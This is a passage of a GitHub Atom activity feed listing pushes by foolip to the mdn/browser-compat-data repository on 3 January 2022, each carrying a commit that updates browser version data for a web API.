<uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:53:34Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/04b6bd0c157e737639b1ae7f94f30fa2168effa3" rel="noreferrer">04b6bd0</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for PerformanceEventTiming API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090443593" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14296" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14296/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14296" rel="noreferrer">#14296</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562241843</id> <published>2022-01-03T17:51:36Z</published> <updated>2022-01-03T17:51:36Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/29a6974a75...75674de739"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:51:36Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/75674de739775f3dd4cddef82d09b98c9a058cf9" rel="noreferrer">75674de</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox versions for api.PerformanceEventTiming.toJSON (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090445235" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14297" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14297/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14297" rel="noreferrer">#14297</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562237548</id> <published>2022-01-03T17:51:13Z</published> <updated>2022-01-03T17:51:13Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/bf39eba737...29a6974a75"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:51:13Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/29a6974a75547ca3bac6b24878bb0967c864f41a" rel="noreferrer">29a6974</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for api.OffscreenCanvasRenderingContext2D.can… </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562232818</id> <published>2022-01-03T17:50:48Z</published> <updated>2022-01-03T17:50:48Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/3eeeac9f61...bf39eba737"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:50:48Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/bf39eba7371b943fbe862dff0af4d0406729f94f" rel="noreferrer">bf39eba</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for OTPCredential API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090403975" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14290" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14290/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14290" rel="noreferrer">#14290</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19562188285</id> <published>2022-01-03T17:46:40Z</published> <updated>2022-01-03T17:46:40Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/4bff6425fa...3eeeac9f61"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:46:40Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/3eeeac9f61d756098fe70aeb24f502e6017750f4" rel="noreferrer">3eeeac9</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update all browsers versions for CanvasPattern API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089195844" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14202" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14202/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14202" rel="noreferrer">#14202</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561882855</id> <published>2022-01-03T17:19:44Z</published> <updated>2022-01-03T17:19:44Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/a74e1ff439...4bff6425fa"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:19:44Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/4bff6425faac6cbb58b15fc609993d960edd6827" rel="noreferrer">4bff642</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for NDEF APIs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090332102" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14283" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14283/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14283" rel="noreferrer">#14283</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561829380</id> <published>2022-01-03T17:15:22Z</published> <updated>2022-01-03T17:15:22Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/edf64e0c97...a74e1ff439"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:15:22Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/a74e1ff4395fb92a0844164f5463d64632e7c2ca" rel="noreferrer">a74e1ff</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for MessageChannel API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090079194" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14272" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14272/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14272" rel="noreferrer">#14272</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561819576</id> <published>2022-01-03T17:14:35Z</published> <updated>2022-01-03T17:14:35Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/ebbed37e94...edf64e0c97"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:14:35Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/edf64e0c97fdfae1dc818946f8227ab94724d056" rel="noreferrer">edf64e0</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox Android versions for api.MediaStreamAudioSourceNode.me… </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561801160</id> <published>2022-01-03T17:13:04Z</published> <updated>2022-01-03T17:13:04Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/20fa4010c1...ebbed37e94"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:13:04Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/ebbed37e948956bcbc9022f49ef6f33abca74e46" rel="noreferrer">ebbed37</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update WebView versions for MediaKeyMessageEvent API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090075095" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14268" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14268/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14268" rel="noreferrer">#14268</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561788980</id> <published>2022-01-03T17:12:05Z</published> <updated>2022-01-03T17:12:05Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/d9a8229dc0...20fa4010c1"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:12:05Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/20fa4010c12cd5a0e74b1eb8cbea4d3afd89f264" rel="noreferrer">20fa401</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Firefox Android versions for api.MediaElementAudioSourceNode.m… </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561782081</id> <published>2022-01-03T17:11:33Z</published> <updated>2022-01-03T17:11:33Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/219bae08f0...d9a8229dc0"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:11:33Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/d9a8229dc08bed161e100d25ca154375f0333fb3" rel="noreferrer">d9a8229</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for MediaDeviceInfo API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090073619" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14266" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14266/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14266" rel="noreferrer">#14266</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561757800</id> <published>2022-01-03T17:09:36Z</published> <updated>2022-01-03T17:09:36Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/77f4c09ac6...219bae08f0"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:09:36Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/219bae08f0ff3917c23d60cfa18d4701d8153d26" rel="noreferrer">219bae0</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Edge versions for KeyframeEffect API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1090071498" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14265" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14265/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14265" rel="noreferrer">#14265</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561683563</id> <published>2022-01-03T17:03:51Z</published> <updated>2022-01-03T17:03:51Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/8d3ddcf273...77f4c09ac6"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/foolip" rel="noreferrer">foolip</a> pushed to <a class="Link--primary no-underline wb-break-all text-bold d-inline-block" href="/mdn/browser-compat-data" rel="noreferrer">mdn/browser-compat-data</a> <span class="color-fg-muted no-wrap f6 ml-1"> <relative-time datetime="2022-01-03T17:03:51Z" class="no-wrap">Jan 3, 2022</relative-time> </span> <div class="Box p-3 mt-2 "> <span>1 commit to</span> <a class="branch-name" href="/mdn/browser-compat-data/tree/main" rel="noreferrer">main</a> <div class="commits "> <ul class="list-style-none"> <li class="d-flex flex-items-baseline"> <span title="queengooborg"> <a class="d-inline-block" href="/queengooborg" rel="noreferrer"><img class="mr-1 avatar-user" src="https://avatars.githubusercontent.com/u/5179191?s=32&amp;v=4" width="16" height="16" alt="@queengooborg"></a> </span> <code><a class="mr-1" href="/mdn/browser-compat-data/commit/77f4c09ac6f380764dc5af24fb460e2d8d2303e4" rel="noreferrer">77f4c09</a></code> <div class="dashboard-break-word lh-condensed"> <blockquote> Update Chromium versions for IdleDetector API (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="1089631424" data-permission-text="Title is private" data-url="https://github.com/mdn/browser-compat-data/issues/14258" data-hovercard-type="pull_request" data-hovercard-url="/mdn/browser-compat-data/pull/14258/hovercard" href="https://github.com/mdn/browser-compat-data/pull/14258" rel="noreferrer">#14258</a>) </blockquote> </div> </li> </ul> </div> </div> </div> </div> </div> </div></div></content> </entry> <entry> <id>tag:github.com,2008:PushEvent/19561641770</id> <published>2022-01-03T17:00:42Z</published> <updated>2022-01-03T17:00:42Z</updated> <link type="text/html" rel="alternate" href="https://github.com/mdn/browser-compat-data/compare/43b1c984e3...8d3ddcf273"/> <title type="html">foolip pushed to main in mdn/browser-compat-data</title> <author> <name>foolip</name> <uri>https://github.com/foolip</uri> </author> <media:thumbnail height="30" width="30" url="https://avatars.githubusercontent.com/u/498917?s=30&v=4"/> <content type="html"><div class="push"><div class="body"> <!-- push --> <div class="d-flex flex-items-baseline border-bottom color-border-muted py-3"> <span class="mr-2"><a class="d-inline-block" href="/foolip" rel="noreferrer"><img class="avatar avatar-user" src="https://avatars.githubusercontent.com/u/498917?s=64&amp;v=4" width="32" height="32" alt="@foolip"></a></span> <div class="d-flex flex-column width-full"> <div class=""> <a class="Link--primary no-underline 